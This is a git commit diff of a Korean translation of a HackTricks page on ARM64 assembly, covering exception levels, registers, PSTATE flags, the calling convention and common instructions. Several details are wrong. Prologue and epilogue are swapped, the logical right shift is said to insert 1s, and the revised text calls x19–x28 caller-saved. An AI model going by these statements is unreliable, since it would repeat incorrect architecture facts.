Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-04-19 06:29:44 +00:00
parent 11908593b1
commit dfd796424e
2 changed files with 233 additions and 211 deletions

View file

@ -6,11 +6,11 @@
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
@ -20,60 +20,54 @@ ARMv8 아키텍처에서 실행 수준인 예외 수준 (EL)은 실행 환경의
1. **EL0 - 사용자 모드**:
* 이는 가장 낮은 권한 수준으로 일반 응용 프로그램 코드를 실행하는 데 사용됩니다.
* EL0에서 실행되는 응용 프로그램은 서로 및 시스템 소프트웨어로부터 격리되어 보안 안정성을 향상시킵니다.
* EL0에서 실행되는 응용 프로그램은 서로 및 시스템 소프트웨어로부터 격리되어 보안성과 안정성을 향상시킵니다.
2. **EL1 - 운영 체제 커널 모드**:
* 대부분의 운영 체제 커널이이 수준에서 실행됩니다.
* EL1은 EL0보다 더 많은 권한을 가지며 시스템 자원에 액세스할 수 있지만 시스템 무결성을 보장하기 위해 일부 제한이 있습니다.
* EL1은 EL0보다 더 많은 권한을 가지고 시스템 리소스에 액세스할 수 있지만 시스템 무결성을 보장하기 위해 일부 제한이 있습니다.
3. **EL2 - 하이퍼바이저 모드**:
* 이 수준은 가상화에 사용됩니다. EL2에서 실행되는 하이퍼바이저는 동일한 물리 하드웨어에서 실행되는 여러 운영 체제 (각각이 고유한 EL1에서)를 관리할 수 있습니다.
* EL2는 가상화 환경의 격리 및 제어 기능을 제공합니다.
4. **EL3 - 안전 모니터 모드**:
* 이는 가장 높은 권한 수준이며 안전 부팅 및 신뢰할 수 있는 실행 환경에 자주 사용됩니다.
* EL3는 안전 및 비안전 상태 간의 액세스를 관리하고 제어할 수 있습니다 (안전 부팅, 신뢰할 수 있는 OS 등).
* 이는 가장 높은 권한 수준으로 안전한 부팅 및 신뢰할 수 있는 실행 환경에 자주 사용됩니다.
* EL3는 안전 및 비안전 상태 간의 액세스를 관리하고 제어할 수 있습니다 (안전 부팅, 신뢰할 수 있는 OS 등).
이러한 수준의 사용은 사용자 응용 프로그램부터 가장 높은 권한을 가진 시스템 소프트웨어까지 시스템의 다양한 측면을 구조화하고 안전하게 관리하는 방법을 제공합니다. ARMv8의 권한 수준 접근 방식은 다른 시스템 구성 요소를 효과적으로 격리하여 시스템의 보안성과 견고성을 향상시킵니다.
## **레지스터 (ARM64v8)**
ARM64에는 `x0`부터 `x30`까지 레이블이 지정된 **31개의 범용 레지스터**가 있습니다. 각각은 **64비트** (8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 작업에 대해 동일한 레지스터는 `w0`부터 `w30`까지의 이름을 사용하여 32비트 모드에서 액세스할 수 있습니다.
ARM64에는 `x0`부터 `x30`으로 레이블이 지정된 **31개의 범용 레지스터**가 있습니다. 각각은 **64비트** (8바이트) 값을 저장할 수 있습니다. 32비트 값만 필요한 작업의 경우 동일한 레지스터를 `w0`부터 `w30`까지의 이름을 사용하여 32비트 모드에서 액세스할 수 있습니다.
1. **`x0`** ~ **`x7`** - 이들은 일반적으로 스크래치 레지스터로 사용되며 서브루틴에 매개변수를 전달하는 데 사용됩니다.
* **`x0`**은 또한 함수의 반환 데이터를 운반합니다.
2. **`x8`** - Linux 커널에서 `x8``svc` 명령을 위한 시스템 호출 번호로 사용됩니다. **macOS에서는 x16이 사용됩니다!**
3. **`x9`** ~ **`x15`** - 더 많은 임시 레지스터로서 종종 로컬 변수에 사용됩니다.
2. **`x8`** - 리눅스 커널에서 `x8``svc` 명령을 위한 시스템 호출 번호로 사용됩니다. **macOS에서는 x16이 사용됩니다!**
3. **`x9`** ~ **`x15`** - 더 많은 임시 레지스터, 종종 로컬 변수에 사용됩니다.
4. **`x16`** 및 **`x17`** - **함수 내부 호출 레지스터**. 즉시 값에 대한 임시 레지스터입니다. 간접 함수 호출 및 PLT (Procedure Linkage Table) 스텁에도 사용됩니다.
* **`x16`**은 **macOS**에서 **`svc`** 명령을 위한 **시스템 호출 번호**로 사용됩니다.
5. **`x18`** - **플랫폼 레지스터**. 일반적인 목적 레지스터로 사용될 수 있지만 일부 플랫폼에서는 이 레지스터가 플랫폼별 용도로 예약되어 있습니다: Windows의 현재 스레드 환경 블록을 가리키는 포인터 또는 리눅스 커널에서 현재 **실행 중인 작업 구조체를 가리키는 포인터**.
6. **`x19`** ~ **`x28`** - 이들은 호출자가 호출자를 위해 이 레지스터의 값을 보존해야 하므로 호출자가 이전에 저장하고 호출자로 돌아가기 전에 복구해야 하는 callee-saved 레지스터입니다.
7. **`x29`** - **프레임 포인터**는 스택 프레임을 추적하는 데 사용됩니다. 함수가 호출되어 새로운 스택 프레임이 생성될 때 **`x29`** 레지스터는 **스택에 저장**되고 새로운 프레임 포인터 주소 (**`sp`** 주소)가 **이 레지스터에 저장**됩니다.
5. **`x18`** - **플랫폼 레지스터**. 일반 목적 레지스터로 사용할 수 있지만 일부 플랫폼에서는 이 레지스터가 플랫폼별 용도로 예약되어 있습니다: Windows의 현재 스레드 환경 블록을 가리키는 포인터 또는 리눅스 커널에서 현재 **실행 중인 작업 구조체를 가리키는 포인터**.
6. **`x19`** ~ **`x28`** - 이들은 호출자 저장 레지스터입니다. 함수는 호출자를 위해 이러한 레지스터의 값을 보존해야 하므로 스택에 저장되고 호출자로 돌아가기 전에 복구됩니다.
7. **`x29`** - **프레임 포인터**는 스택 프레임을 추적하는 데 사용됩니다. 함수가 호출되어 새로운 스택 프레임이 생성되면 **`x29`** 레지스터가 **스택에 저장**되고 **새로운** 프레임 포인터 주소 (**`sp`** 주소)가 **이 레지스터에 저장**됩니다.
* 이 레지스터는 **일반 목적 레지스터**로 사용될 수도 있지만 일반적으로 **로컬 변수에 대한 참조**로 사용됩니다.
8. **`x30`** 또는 **`lr`**- **링크 레지스터**. `BL` (Branch with Link) 또는 `BLR` (Register로 Link Branch) 명령이 실행될**`pc`** 값을 이 레지스터에 저장하여 **반환 주소**를 보유합니다.
8. **`x30`** 또는 **`lr`**- **링크 레지스터**. `BL` (Branch with Link) 또는 `BLR` (Register로 링크된 Branch) 명령을 실행할**`pc`** 값을 이 레지스터에 저장하여 **반환 주소**를 보유합니다.
* 다른 레지스터와 마찬가지로 사용할 수 있습니다.
* 현재 함수가 새 함수를 호출하고 따라서 `lr`을 덮어쓸 것이라면, 시작 시에 스택에 저장하고 이것을 복구할 것입니다. 이것이 에필로그입니다 (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp``lr`을 저장하고 공간을 생성하고 새 `fp`가져옵니다) 및 끝에서 복구합니다. 이것이 프롤로그입니다 (`ldp x29, x30, [sp], #48; ret` -> `fp``lr`을 복구하고 반환합니다).
* 현재 함수가 새로운 함수를 호출하고 따라서 `lr`을 덮어쓸 예정이라면, 시작 시 `lr`을 스택에 저장하고, 이것이 에필로그입니다 (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp``lr`을 저장하고 공간을 생성하고 새 `fp`얻음) 및 끝에 복구합니다. 이것이 프롤로그입니다 (`ldp x29, x30, [sp], #48; ret` -> `fp``lr`을 복구하고 반환).
9. **`sp`** - **스택 포인터**, 스택의 맨 위를 추적하는 데 사용됩니다.
* **`sp`** 값은 항상 적어도 **쿼드워드** **정렬**을 유지해야 하며 그렇지 않으면 정렬 예외가 발생할 수 있습니다.
10. **`pc`** - 다음 명령을 가리키는 **프로그램 카운터**. 이 레지스터는 예외 생성, 예외 반환 및 분기를 통해서만 업데이트될 수 있습니다. 이 레지스터를 읽을 수 있는 일반 명령은 브랜치와 링크 명령 (BL, BLR)뿐이며 **`pc`** 주소를 **`lr`** (링크 레지스터)에 저장하기 위해 사용됩니다.
11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태인 **`wzr`**로도 불립니다. 제로 값을 쉽게 얻는 데 사용할 수 있습니다 (일반적인 작업) 또는 **`subs`**를 사용하여 **`xzr`**에 결과 데이터를 저장하지 않고 비교를 수행할 수 있습니다. **`subs XZR, Xn, #10`**와 같이 (제로 레지스터)를 사용합니다.
**`Wn`** 레지스터는 **`Xn`** 레지스터의 32비트 버전입니다.
### SIMD 및 부동 소수점 레지스터
또한 최적화된 단일 명령 다중 데이터 (SIMD) 작업 및 부동 소수점 산술을 수행하는 데 사용할 수 있는 **128비트 길이의 32개 레지스터**가 있습니다. 이러한 레지스터는 Vn 레지스터라고 불리지만 **64**비트, **32**비트, **16**비트 및 **8**비트에서도 작동할 수 있으며 **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** 및 **`Bn`**으로 불립니다.
10. **`pc`** - **프로그램 카운터**, 다음 명령을 가리킵니다. 이 레지스터는 예외 생성, 예외 반환 및 분기를 통해서만 업데이트될 수 있습니다. 이 레지스터를 읽을 수 있는 일반 명령은 브랜치와 링크 명령 (BL, BLR)으로만 `pc` 주소를 **`lr`** (링크 레지스터)에 저장할 수 있습니다.
11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태에서는 **`wzr`**로도 불립니다. 제로 값을 쉽게 얻거나 **`subs`**를 사용하여 **`xzr`**에 데이터를 저장하지 않고 비교를 수행하는 데 사용할 수 있습니다.
### 시스템 레지스터
**수백 개의 시스템 레지스터** 또는 특수 목적 레지스터(SPR)는 **프로세서의 동작을 모니터링**하고 **제어**하는 데 사용됩니다.\
**수백 개의 시스템 레지스터** 또는 특수 목적 레지스터(SPRs)는 **프로세서** 동작을 **모니터링**하고 **제어**하는 데 사용됩니다.\
이러한 레지스터는 전용 특수 명령어 **`mrs`**와 **`msr`**을 사용하여만 읽거나 설정할 수 있습니다.
특수 레지스터 **`TPIDR_EL0`**와 **`TPIDDR_EL0`**은 역공학에서 자주 발견됩니다. `EL0` 접미사는 레지스터에 액세스할 수 있는 **최소 예외**를 나타냅니다(이 경우 EL0은 정규 예외(권한) 수준으로 일반 프로그램이 실행됩니다).\
이들은 주로 메모리의 **스레드 로컬 저장소** 영역의 **기본 주소**를 저장하는 데 사용됩니다. 일반적으로 첫 번째 레지스터는 EL0에서 실행 중인 프로그램에 대해 읽기 및 쓰기 가능하지만, 두 번째 레지스터는 EL0에서 읽을 수 있고 EL1에서 쓸 수 있습니다(커널과 같이).
이들은 주로 메모리의 **스레드 로컬 저장소** 영역의 **기본 주소**를 저장하는 데 사용됩니다. 일반적으로 첫 번째 레지스터는 EL0에서 실행 중인 프로그램에 대해 읽기 및 쓰기 가능하지만, 두 번째 레지스터는 EL0에서 읽을 수 있고 EL1에서 쓰기가 가능합니다(커널과 같이).
* `mrs x0, TPIDR_EL0 ; TPIDR_EL0을 x0로 읽기`
* `msr TPIDR_EL0, X0 ; x0를 TPIDR_EL0에 쓰기`
### **PSTATE**
**PSTATE**에는 운영 체제에서 볼 수 있는 **`SPSR_ELx`** 특수 레지스터로 직렬화된 여러 프로세스 구성 요소가 포함되어 있습니다. 여기에는 트리거된 예외의 **권한 수준인 X**가 포함됩니다(이를 통해 예외가 종료될 때 프로세스 상태를 복구할 수 있습니다).\
**PSTATE**에는 운영 체제에서 볼 수 있는 **`SPSR_ELx`** 특수 레지스터로 직렬화된 여러 프로세스 구성 요소가 포함되어 있습니다. 여기에는 트리거된 예외의 **권한 수준인 X**가 포함됩니다(이를 통해 예외 종료 시 프로세스 상태를 복구할 수 있음).\
다음과 같은 접근 가능한 필드가 있습니다:
<figure><img src="../../../.gitbook/assets/image (1193).png" alt=""><figcaption></figcaption></figure>
@ -81,60 +75,60 @@ ARM64에는 `x0`부터 `x30`까지 레이블이 지정된 **31개의 범용 레
* **`N`**, **`Z`**, **`C`**, **`V`** 조건 플래그:
* **`N`**은 작업이 음수 결과를 생성했음을 의미합니다.
* **`Z`**는 작업이 0을 생성했음을 의미합니다.
* **`C`**는 작업이 캐리되었음을 의미합니다.
* **`C`**는 작업이 캐리음을 의미합니다.
* **`V`**는 작업이 부호 오버플로우를 생성했음을 의미합니다:
* 두 양수의 합은 음수 결과를 생성합니다.
* 두 음수의 합은 양수 결과를 생성합니다.
* 뺄셈에서 큰 음수가 작은 양수에서 뺄셈되고 결과가 주어진 비트 크기의 범위 내에 표현할 수 없는 경우.
* 당연히 프로세서는 작업이 부호 있는지 여부를 알 수 없으므로 작업에서 C 및 V를 확인하고 부호 있는지 또는 부호 없는지에 따라 발생한 캐리를 표시합니다.
* 당연히 프로세서는 작업이 부호 있는지 여부를 알 수 없으므로 작업에서 C 및 V를 확인하고 부호 있는지 또는 부호 없는지에 따라 발생한 캐리를 나타냅니다.
{% hint style="warning" %}
모든 명령이 이러한 플래그를 업데이트하지는 않습니다. **`CMP`** 또는 **`TST`**와 같은 몇 가지 명령은 그렇지만, **`ADDS`**와 같이 s 접미사가 있는 다른 명령도 그렇습니다.
모든 명령이 이러한 플래그를 업데이트하지는 않습니다. **`CMP`** 또는 **`TST`**와 같은 일부 명령은 그렇지만, **`ADDS`**와 같이 s 접미사가 있는 다른 명령도 그렇습니다.
{% endhint %}
* 현재 **레지스터 너비(`nRW`) 플래그**: 플래그가 값 0을 보유하면 프로그램이 다시 시작될 때 AArch64 실행 상태에서 실행됩니다.
* 현재 **예외 수준**(**`EL`**): EL0에서 실행 중인 일반 프로그램은 값 0을 갖습니다.
* **단계별 실행** 플래그(**`SS`**): 디버거가 단계별로 실행하기 위해 **`SPSR_ELx`** 내부의 SS 플래그를 1로 설정합니다. 프로그램은 한 단계를 실행하고 단계별 예외를 발생시킵니다.
* **잘못된 예외** 상태 플래그(**`IL`**): 특권 소프트웨어가 잘못된 예외 수준 전을 수행할 때 사용되며, 이 플래그는 1로 설정되고 프로세서는 잘못된 상태 예외를 트리거합니다.
* **단계별 실행** 플래그(**`SS`**): 디버거가 단계별로 실행하기 위해 **`SPSR_ELx`** 내에서 SS 플래그를 1로 설정합니다. 프로그램은 한 단계를 실행하고 단계별 예외를 발생시킵니다.
* **잘못된 예외** 상태 플래그(**`IL`**): 특권 소프트웨어가 잘못된 예외 수준 전을 수행할 때 사용되며, 이 플래그는 1로 설정되고 프로세서는 잘못된 상태 예외를 트리거합니다.
* **`DAIF`** 플래그: 이러한 플래그를 사용하여 특권 프로그램이 특정 외부 예외를 선택적으로 마스킹할 수 있습니다.
* **`A`**가 1이면 **비동기 중단**이 트리거됩니다. **`I`**는 외부 하드웨어 **인터럽트 요청**에 응답하도록 구성하고 F는 **빠른 인터럽트 요청**과 관련이 있습니다.
* **스택 포인터 선택** 플래그(**`SPS`**): EL1 및 이상에서 실행 중인 특권 프로그램은 자체 스택 포인터 레지스터와 사용자 모델 스택 포인터 사이를 전환할 수 있습니다(예: `SP_EL1``EL0` 사이). 이 전환은 **`SPSel`** 특수 레지스터에 쓰기를 통해 수행됩니다. EL0에서는 이 작업을 수행할 수 없습니다.
* **스택 포인터 선택** 플래그(**`SPS`**): EL1 및 이상에서 실행 중인 특권 프로그램은 자체 스택 포인터 레지스터와 사용자 모델 스택 포인터 레지스터 사이를 전환할 수 있습니다(예: `SP_EL1``EL0` 사이). 이 전환은 **`SPSel`** 특수 레지스터에 쓰기를 통해 수행됩니다. EL0에서는 이 작업을 수행할 수 없습니다.
## **호출 규약 (ARM64v8)**
ARM64 호출 규약은 함수에 전달되는 **첫 번째 여덟 개의 매개변수**가 **`x0`부터 `x7`** 레지스터에 전달되어야 함을 명시합니다. **추가** 매개변수는 **스택**에 전달됩니다. **반환** 값은 레지스터 **`x0`**에 반환되거나 **128비트인 경우** **`x1`**에도 반환됩니다. **`x19`**부터 **`x30`** 및 **`sp`** 레지스터는 함수 호출 간에 **보존**되어야 합니다.
ARM64 호출 규약에 따르면 함수에 전달되는 **첫 번째 여덟 개의 매개변수**는 **`x0`부터 `x7`** 레지스터에 전달됩니다. **추가** 매개변수는 **스택**에 전달됩니다. **반환** 값은 레지스터 **`x0`**에 반환되거나 **128비트인 경우** **`x1`**에도 반환됩니다. **`x19`**부터 **`x30`** 및 **`sp`** 레지스터는 함수 호출 간에 **보존**되어야 합니다.
어셈블리에서 함수를 읽을 때 **함수 프롤로그와 에필로그**를 찾으세요. **프롤로그**는 일반적으로 **프레임 포인터(`x29`)를 저장**, **새 프레임 포인터를 설정**하고 **스택 공간을 할당**하는 것을 포함합니다. **에필로그**는 일반적으로 **저장된 프레임 포인터를 복원**하고 함수에서 **반환**하는 것을 포함합니다.
어셈블리에서 함수를 읽을 때 **함수 프롤로그와 에필로그**를 찾으세요. **프롤로그**는 일반적으로 **프레임 포인터(`x29`)를 저장**, **새 프레임 포인터 설정** 및 **스택 공간 할당**을 포함합니다. **에필로그**는 일반적으로 **저장된 프레임 포인터를 복원**하고 함수에서 **반환**하는 것을 포함합니다.
### Swift에서의 호출 규약
### Swift의 호출 규약
Swift에는 자체 **호출 규약**이 있으며 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)에서 찾을 수 있습니다.
Swift에는 별도의 **호출 규약**이 있으며 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)에서 찾을 수 있습니다.
## **일반적인 명령어 (ARM64v8)**
## **일반 명령어 (ARM64v8)**
ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습니다. 여기서 **`opcode`**는 수행할 작업(예: `add`, `sub`, `mov` 등)을 나타내며, **`dst`**는 결과가 저장될 **대상** 레지스터이고 **`src1`** 및 **`src2`**는 **소스** 레지스터입니다. 즉시 값은 소스 레지스터 대신 사용할 수도 있습니다.
ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습니다. 여기서 **`opcode`**는 수행할 **작업**을 나타내며(`add`, `sub`, `mov` 등), **`dst`**는 결과가 저장될 **대상** 레지스터이고 **`src1`** 및 **`src2`**는 **소스** 레지스터입니다. 즉시 값은 소스 레지스터 대신 사용할 수도 있습니다.
* **`mov`**: 한 **레지스터**에서 다른 **레지스터**로 값 이동.
* 예: `mov x0, x1` — 이는 `x1`의 값을 `x0`로 이동합니다.
* **`ldr`**: **메모리**에서 **값을** **레지스터**로 **로드**합니다.
* **`ldr`**: **메모리**에서 값 로드하여 **레지스터**에 저장.
* 예: `ldr x0, [x1]` — 이는 `x1`이 가리키는 메모리 위치에서 값을 `x0`로 로드합니다.
* **오프셋 모드**: 원래 포인터에 영향을 주는 오프셋이 표시됩니다. 예를 들어:
* **오프셋 모드**: 원래 포인터에 영향을 주는 오프셋이 표시됩니다. 예:
* `ldr x2, [x1, #8]`, 이는 x1 + 8에서 x2에 값을 로드합니다.
* `ldr x2, [x0, x1, lsl #2]`, 이는 x0 배열에서 x1(인덱스) \* 4 위치의 객체를 x2에 로드합니다.
* **선행 인덱스 모드**: 이는 원점에 계산을 적용하고 결과를 얻은 후 새 원점을 원점에 저장합니다.
* `ldr x2, [x1, #8]!`, 이는 `x1 + 8``x2`에 로드하고 `x1 + 8`의 결과를 x1에 저장합니다.
* **선행 인덱스 모드**: 이는 원본에 계산을 적용하고 결과를 얻은 후 새 원본을 원본에 저장합니다.
* `ldr x2, [x1, #8]!`, 이는 `x1 + 8``x2`에 로드하고 `x1 + 8`의 결과를 `x1`에 저장합니다.
* `str lr, [sp, #-4]!`, 링크 레지스터를 sp에 저장하고 레지스터 sp를 업데이트합니다.
* **후행 인덱스 모드**: 이는 이전 것과 유사하지만 메모리 주소에 액세스한 다음 오프셋을 계산하고 저장합니다.
* `ldr x0, [x1], #8`, `x1``x0`에 로드하고 `x1 + 8`로 x1을 업데이트합니다.
* **PC 상대 주소 지정**: 이 경우 로드할 주소 현재 PC 레지스터와 관련하여 계산됩니다.
* **PC 상대 주소 지정**: 이 경우 로드할 주소 현재 PC 레지스터와 관련하여 계산됩니다.
* `ldr x1, =_start`, 이는 `_start` 심볼이 시작하는 주소를 현재 PC와 관련하여 x1에 로드합니다.
* **`str`**: **레지스터**의 **값을** **메모리**에 **저장**합니다.
* **`str`**: **레지스터**의 값을 **메모리**에 저장.
* 예: `str x0, [x1]` — 이는 `x0`의 값을 `x1`이 가리키는 메모리 위치에 저장합니다.
* **`ldp`**: **레지스터 쌍을 로드**합니다. 이 명령은 **연속된 메모리** 위치에서 **두 레지스터를 로드**합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
* 예: `ldp x0, x1, [x2]` — 이는 각각 `x2``x2 + 8` 위치의 메모리에서 `x0``x1`을 로드합니다.
* **`stp`**: **레지스터 쌍을 저장**합니다. 이 명령은 **연속된 메모리** 위치에 **두 레지스터를 저장**합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
* 예: `stp x0, x1, [sp]` — 이는 각각 `sp``sp + 8` 위치의 메모리`x0``x1`을 저장합니다.
* `stp x0, x1, [sp, #16]!` — 이는 각각 `sp+16``sp + 24` 위치의 메모리`x0``x1`을 저장하고 `sp``sp+16`로 업데이트합니다.
* **`ldp`**: **레지스터 쌍 로드**. 이 명령은 **연속된 메모리** 위치에서 **두 개의 레지스터**를 로드합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
* 예: `ldp x0, x1, [x2]` — 이는 각각 `x2``x2 + 8` 위치에서 `x0``x1`을 로드합니다.
* **`stp`**: **레지스터 쌍 저장**. 이 명령은 **연속된 메모리** 위치에 **두 개의 레지스터**를 저장합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다.
* 예: `stp x0, x1, [sp]` — 이는 각각 `sp``sp + 8` 위치에 `x0``x1`을 저장합니다.
* `stp x0, x1, [sp, #16]!` — 이는 각각 `sp+16``sp + 24` 위치에 `x0``x1`을 저장하고 `sp``sp+16`로 업데이트합니다.
* **`add`**: 두 레지스터의 값을 더하고 결과를 레지스터에 저장합니다.
* 구문: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> 대상
@ -145,92 +139,93 @@ ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습
* `add x5, x5, #1, lsl #12` — 이는 4096에 해당합니다 (1을 12번 시프트한 값) -> 1 0000 0000 0000 0000
* **`adds`** 이 명령은 `add`를 수행하고 플래그를 업데이트합니다.
* **`sub`**: 두 레지스터의 값을 빼고 결과를 레지스터에 저장합니다.
* **`add`** 구문을 확인하세요.
* **`add`** **구문**을 확인하세요.
* 예: `sub x0, x1, x2` — 이 명령은 `x1`에서 `x2`의 값을 빼고 결과를 `x0`에 저장합니다.
* **`subs`** 이 명령은 sub와 유사하지만 플래그를 업데이트합니다.
* **`mul`**: 두 레지스터의 값을 곱하고 결과를 레지스터에 저장합니다.
* 예: `mul x0, x1, x2` — 이 명령은 `x1``x2`의 값을 곱하고 결과를 `x0`에 저장합니다.
* **`div`**: 한 레지스터의 값을 다른 레지스터로 나누고 결과를 레지스터에 저장합니다.
* 예: `div x0, x1, x2` — 이 명령은 `x1`의 값을 `x2`로 나누고 결과를 `x0`에 저장합니다.
* 예: `div x0, x1, x2` — 이 명령은 `x1``x2`로 나눈 결과를 `x0`에 저장합니다.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **논리 왼쪽 시프트**: 끝에서 0을 추가하여 다른 비트를 앞쪽으로 이동 (n번 2를 곱함)
* **논리 오른쪽 시프트**: 시작 부분에 1을 추가하여 다른 비트를 뒤로 이동 (부호 없는 경우 n번 2로 나눔)
* **산술 오른쪽 시프트**: **`lsr`**와 유사하지만 최상위 비트가 1이면 0 대신 1을 추가함 (부호 있는 경우 n번 2로 나눔)
* **산술 오른쪽 시프트**: **`lsr`**와 유사하지만 최상위 비트가 1이면 1을 추가함 (부호 있는 경우 n번 2로 나눔)
* **오른쪽으로 회전**: **`lsr`**와 유사하지만 오른쪽에서 제거된 것은 왼쪽에 추가됨
* **확장된 오른쪽 회전**: **`ror`**와 유사하지만 캐리 플래그가 "가장 상위 비트"로 사용됨. 따라서 캐리 플래그가 비트 31로 이동되고 제거된 비트가 캐리 플래그로 이동함.
* **`bfm`**: **비트 필드 이동**, 이러한 작업은 값을 복사하고 해당 값을 다른 레지스터에 복사함.
* **`bfm`**: **비트 필드 이동**, 이러한 작업은 값을 복사하고 해당 값을 다른 레지스터에 배치함. **`#s`**는 가장 왼쪽 비트 위치를 지정하고 **`#r`**은 **오른쪽으로 회전하는 양**을 지정함.
* 비트 필드 이동: `BFM Xd, Xn, #r`
* 부호 있는 비트 필드 이동: `SBFM Xd, Xn, #r, #s`
* 부호 없는 비트 필드 이동: `UBFM Xd, Xn, #r, #s`
* **비트 필드 추출 및 삽입:** 레지스터에서 비트 필드를 복사하고 다른 레지스터로 복사함.
* **`BFI X1, X2, #3, #4`** X2에서 X1의 3번째 비트부터 4비트를 삽입함
* **`BFI X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 X1에 삽입함
* **`BFXIL X1, X2, #3, #4`** X2의 3번째 비트에서 4비트를 추출하여 X1에 복사함
* **`SBFIZ X1, X2, #3, #4`** X2에서 4비트를 부호 확장하여 X1의 3번째 비트 위치부터 삽입하고 오른쪽 비트를 0으로 설정함
* **`SBFIZ X1, X2, #3, #4`** X2에서 4비트를 부호 확장하여 X1에 삽입하고 오른쪽 비트를 0으로 만듦
* **`SBFX X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 추출하여 부호 확장하고 결과를 X1에 배치함
* **`UBFIZ X1, X2, #3, #4`** X2에서 4비트를 0으로 확장하여 X1의 3번째 비트 위치부터 삽입함
* **`UBFIZ X1, X2, #3, #4`** X2에서 4비트를 0으로 확장하여 X1에 삽입하고 오른쪽 비트를 0으로 만듦
* **`UBFX X1, X2, #3, #4`** X2에서 3번째 비트부터 4비트를 추출하여 0으로 확장된 결과를 X1에 배치함.
* **X로 확장된 부호**: 값을 확장하여 해당 값과 작업을 수행할 수 있도록 부호를 확장함 (부호 없는 버전에서는 0만 추가함):
* **X로 확장된 부호**: 값을 확장하여 해당 값과 연산을 수행할 수 있도록 부호를 확장함 (부호 없는 버전은 0을 추가함):
* **`SXTB X1, W2`** W2에서 X1로 바이트의 부호를 확장함 (`W2`는 `X2`의 절반)
* **`SXTH X1, W2`** W2에서 X1로 16비트 숫자의 부호를 확장함
* **`SXTW X1, W2`** W2에서 X1로 바이트의 부호를 확장함
* **`UXTB X1, W2`** W2에서 X1로 바이트에 0을 추가하여 확장함
* **`extr`:** 연결된 특정 레지스터 쌍에서 비트를 추출함.
* 예: `EXTR W3, W2, W1, #3` 이 명령은 W1+W2를 연결하고 W2의 3번째 비트부터 W1의 3번째 비트까지 가져와 W3에 저장함.
* 예: `EXTR W3, W2, W1, #3` 이 명령은 **W1+W2**를 연결하고 **W2의 3번째 비트부터 W1의 3번째 비트까지** 추출하여 W3에 저장함.
* **`cmp`**: 두 레지스터를 비교하고 조건 플래그를 설정함. 목적 레지스터를 제로 레지스터로 설정하는 `subs`의 별칭임. `m == n`인지 확인하는 데 유용함.
* `subs`와 동일한 구문을 지원함
* **`subs`**와 동일한 구문을 지원함
* 예: `cmp x0, x1` — 이 명령은 `x0``x1`의 값을 비교하고 조건 플래그를 설정함.
* **`cmn`**: **음수 비교** 피연산자. 이 경우 `adds`의 별칭이며 동일한 구문을 지원함. `m == -n`인지 확인하는 데 유용함.
* **`ccmp`**: 조건부 비교, 이전 비교가 참인 경우에만 수행되는 비교로 nzcv 비트를 특별히 설정함.
* **`ccmp`**: 조건부 비교, 이전 비교가 참인 경우에만 수행되는 비교로 특정하게 nzcv 비트를 설정함.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2이고 x3 < x4인 경우 _func으로 점프함
* 이는 **이전 `cmp``NE`인 경우에만 `ccmp`가 실행**되므로 비트 `nzcv`가 0으로 설정됨 (`blt` 비교를 만족시키지 않음).
* 이는 `ccmn`으로도 사용할 수 있음 (`cmp` 대 `cmn`같음).
* **`tst`**: 비교 값 중 어느 값이라도 1인지 확인함 (ANDS처럼 작동하지만 결과를 어디에도 저장하지 않음). 값이 1인 레지스터의 비트를 확인하는 데 유용함.
* 예: `tst X1, #7` X1의 마지막 3비트 중 어느 비트가 1인지 확인함
* **`teq`**: 결과를 버리고 XOR 연산을 수행함
* **`b`**: 조건 없는 분기
